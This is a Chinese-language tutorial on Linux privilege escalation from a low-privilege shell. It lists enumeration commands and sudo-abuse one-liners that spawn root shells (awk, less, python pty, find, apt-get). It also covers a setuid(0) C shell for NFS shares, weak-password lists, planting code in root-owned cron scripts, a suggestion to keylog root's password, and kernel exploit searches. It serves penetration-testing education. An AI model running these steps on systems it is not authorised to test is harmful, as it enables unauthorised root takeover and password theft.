linux权限提升

Brief

  • 当我们获取到一个低权限的shell的时候,我们往往需要提升权限,以方便后面任意读写任意文件、权限维持等操作。
  • 这篇文章中我们主要介绍一些常见的linux的权限提升的技巧,这其中包括
    1.内核提权
    2.以root权限运行的程序
    3.已安装的软件
    4.弱口令和明文密码
    5.内部的服务
    6.suid的错误配置
    7.滥用sudo权限
    8.以root权限运行的脚本文件
    9.错误的路径配置
    10.计划任务
    11.未装载的文件系统

    枚举脚本

  • 我之前用这三个脚本来枚举linux机器的基本信息,这三个脚本略有不同,但输出都很相似,所以选择一个你喜欢的就可以。
    LinEnum
  • 以下是基本的选项:
    1
    2
    3
    4
    5
    -k Enter keyword
    -e Enter export location
    -t Include thorough (lengthy) tests
    -r Enter report name
    -h Displays this help text

Unix privesc
Linprivchecker.py
这篇文章总结的比较全了Basic Linux Privilege Escalation

  • 或许你不想用脚本,那么可以主要关注以下方面的信息
    1
    2
    3
    4
    5
    6
    1.系统信息 unmae -a,env,whoami,hsitory,pwd
    2.还有谁登陆了或者登陆过这个系统 who,w,last
    3.当前用户是否在sudoers 文件里 sudo -l ,cat /etc/sudoers
    4.是否有其它超级用户 grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'
    5.查看一下网络信息 ifconfig -a,netstat -antlp,lsof -i
    6.查看运行的服务和进程 ps aux ,ps -ef

以root权限运行的服务或程序

  • 这个方法的原理就是如果一个服务是以root权限运行的,那么让这个服务去执行命令,那么执行的这个命令也将会是以root权限运行的,查看web服务器、数据库或者其它的服务,典型的例子然是
    mysql的,如下:
  • 查看有哪些正在运行的程序
    1
    2
    3
    4
    # Metasploit
    ps
    # Linux
    ps aux

mysql

  • 如果你发现mysql是以root权限运行的,登录到mysql然后试试执行下面的命令:
    1
    2
    select sys_exec('whoami');
    select sys_eval('whoami');

如果这个不行可以使用UDF进行提权.UDF提权

用户安装的软件

  • 用户安装的第三方软件是否是存在漏洞,如果有的话可以google一下exploit。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # 常见的安装软件目录
    /usr/local/
    /usr/local/src
    /usr/local/bin
    /opt/
    /home
    /var/
    /usr/src/
    # Debian
    dpkg -l
    # CentOS, OpenSuse, Fedora, RHEL
    rpm -qa (CentOS / openSUSE )
    # OpenBSD, FreeBSD
    pkg_info
  • 然后查找对应的软件是否有漏洞并查找对应的exploit。

    弱口令或者明文密码

  • 检查一下web服务器连接数据库的配置文件(例如config.php)
  • 检查一下数据库的管理员密码,密码可能被重用。
  • 检测一下弱口令

    1
    2
    3
    4
    5
    6
    username:username
    username:username1
    username:root
    username:admin
    username:qwerty
    username:password
  • 检查一下明文密码

    1
    2
    3
    4
    # Anything interesting the the mail?
    /var/spool/mail
    ./LinEnum.sh -t -k password
  • 检查一下 ~/.ssh 文件夹 以及其它用户的.ssh目录。

  • 检查一下 ~/.bash_history文件 以及其它用户的.bash_history文件。

    只能内部访问的服务

  • 一些服务可能只是对内开放,外部是访问不了的,比如说部署服务器、数据库或者其它,这些服务可以是以root权限运行的,这些服务恰恰有可能存在漏洞,因为开发者或者用户可能会认为因为服务只是内部使用所以就放松了警惕。
  • 使用netstat对比一下nmap的扫描结果
    1
    2
    3
    # Linux
    netstat -anlp
    netstat -ano

suid和guid错误配置

  • 查找suid和guid的文件
    1
    2
    3
    4
    5
    #Find SUID
    find / -perm -u=s -type f 2>/dev/null
    #Find GUID
    find / -perm -g=s -type f 2>/dev/null

滥用sudo权限

  • 如果你的shell可以通过sudo去访问某些程序且无需密码(通过sudo -l,或者查看/etc/sudoers文件),这个时候就有可能进行提权,例如你可以sudo cp,那么就可以覆盖/etc/shadow 或者/etc/sudoers
  • 这些命令有 awk、bash、cp等
  • awk

    1
    awk 'BEGIN {system("/bin/bash")}'
  • more

  • less
    1
    2
    3
    sudo less /etc/shadow
    v
    :shell

  • nmap
    1
    低版本的nmap3.x 有interactive模式,且设置了suid,这个时候可以进入交互模式 执行!sh 命令即可轻松完成提权。

  • python
    1
    sudo python -c ‘import pty;pty.spawn(“/bin/bash”);’


  • find
    1
    sudo find /home -exec sh -i \;

  • 其它 apt-get/yum/dpkg

    1
    sudo apt-get update -o APT::Update::Pre-Invoke::=”/bin/bash -i”
  • 总而言之就是NOPASSWORD的程序都需要特别关注。

  • 此外还有一个sudo_inject工具,进行进程注入,但是条件比较苛刻,1.需要有ptrace 2.需要有一个有效sudo token的进程。工具地址
    Linux Privilege Escalation – Using apt-get/apt/dpkg to abuse sudo “NOPASSWD” misconfiguration
    how-i-got-root-with-sudo
    Linux Restricted Shell Bypass

    以root权限运行的脚本文件

  • 如果你发现一个脚本是root所有但是可以被任何用户写,这时你就可以添加你恶意的代码到这脚本中从而实现提权操作。其中最常见的是计划任务脚本。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #World writable files directories
    find / -writable -type d 2>/dev/null
    find / -perm -222 -type d 2>/dev/null
    find / -perm -o w -type d 2>/dev/null
    # World executable folder
    find / -perm -o x -type d 2>/dev/null
    # World writable and executable folders
    find / \( -perm -o w -perm -o x \) -type d 2>/dev/null

错误的路径配置

1
2
3
4
这个trick不是很常见。
首先这个需要受害者“错误”配置了 PATH这个环境变量,我们知道我们要在当前路径下执行某个可执行文件比如run.sh,我们需要输入 ./run.sh,有些管理员为了方便,可能会在PATH中添加.来避免输入./,这样只输入run.sh 就可以执行了。设想有这个一个场景,黑客A(低权限)和用户B(高权限),而用户B正好就设置了我们如上所说的变量,那么A可以将他的恶意程序命令为ls,而当B在进入到这个目录,并且使用ls命令查看文件属性的时候,恶意文件就会以B用户的权限去执行。这个有点儿像是欺骗攻击。
[更多1](https://hackmag.com/security/reach-the-root/)
[更多2](http://www.dankalia.com/tutor/01005/0100501004.htm)

计划任务

  • 查看属于高权限用户但是你有写权限的文件
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    crontab -l
    ls -alh /var/spool/cron
    ls -al /etc/ | grep cron
    ls -al /etc/cron*
    cat /etc/cron*
    cat /etc/at.allow
    cat /etc/at.deny
    cat /etc/cron.allow
    cat /etc/cron.deny
    cat /etc/crontab
    cat /etc/anacrontab
    cat /var/spool/cron/crontabs/root

未挂载的文件系统

  • 查看未挂载的系统磁盘,如果成功挂载之后,那么就可以如上文所说的在进行一次提权操作尝试。

    NFS共享

  • 如果远程服务器开启了NFS共享,这个时候可以挂在远程共享服务磁盘,例如

    1
    mount 192.168.1.101:/ /tmp/
  • 而如果这里的文件是root用户创建的,且你是可写可执行的,那么你就可以修改这个文件,然后去执行。

  • 恶意代码可能是这样的
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    int main()
    {
    setuid(0);
    system("/bin/bash");
    return 0;
    }

通过键盘记录仪窃取密码

1
如果你有sudo权限 但是你没有密码的时候你可以安装个键盘记录仪,去记录root用户输入的密码。

其它有用的和提权相关的东西

  • 所有人可写的目录
    1
    2
    3
    4
    5
    /tmp
    /var/tmp
    /dev/shm
    /var/spool/vbox
    /var/spool/samba

内核提权

  • 最后万不得已,才使用内核提权,内核提权有风险,操作需谨慎。
  • 利用linux的内核漏洞有时可以提权,但需要提前测试内核explicit是否对当前的系统、架构以及内核版本是有效的。
  • 查看系统、架构、内核版本命令
    1
    2
    3
    uname -a
    cat /proc/version
    cat /etc/issue

查找exploit

1
2
3
4
5
6
site:exploit-db.com kernel version
python linprivchecker.py extended
#search exploit for linux kernel 2.6
searchsploit kernel 2.6 linux | sort -n


其中dirty-cow脏牛可以搞定大多的内核!!